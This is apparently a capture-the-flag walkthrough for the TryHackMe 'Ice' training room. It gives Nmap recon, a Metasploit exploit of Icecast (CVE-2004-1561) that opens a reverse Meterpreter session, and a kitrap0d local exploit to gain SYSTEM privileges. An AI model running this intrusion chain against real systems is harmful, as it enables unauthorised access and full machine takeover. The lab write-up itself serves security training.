TryHackMe: Ice Room - Step-by-Step Guide

Step 1: Connect

- Download your VPN config file from TryHackMe.
- Connect to TryHackMe network using:

  sudo openvpn <yourfile.ovpn>

Step 2: Reconnaissance

- Deploy the Ice machine and note its IP address.
- Run an Nmap scan:

  nmap -sS -sC -sV -p- -T4 <target-ip>

- Ports of interest: 8000 (Icecast), 3389 (RDP)
- Hostname: DARK-PC

Step 3: Gain Access

- Identify vulnerability in Icecast (CVE-2004-1561).
- Launch Metasploit and run:

  msfconsole

  search icecast

  use exploit/windows/http/icecast_header

  set RHOSTS <target-ip>

  set RPORT 8000

  set LHOST <your-ip>

  exploit

- You should now have a Meterpreter session.

Step 4: Privilege Escalation

- In Meterpreter, run:

  sysinfo

  run post/multi/recon/local_exploit_suggester

- Choose appropriate exploit (e.g., ms10_015_kitrap0d):

  use exploit/windows/local/ms10_015_kitrap0d

  set SESSION 1

  exploit

- You now have SYSTEM privileges.

Step 5: Capture the Flags

- Explore directories like Desktop to find flags.

- Read contents and submit them in TryHackMe.

Congratulations! You've completed the Ice room.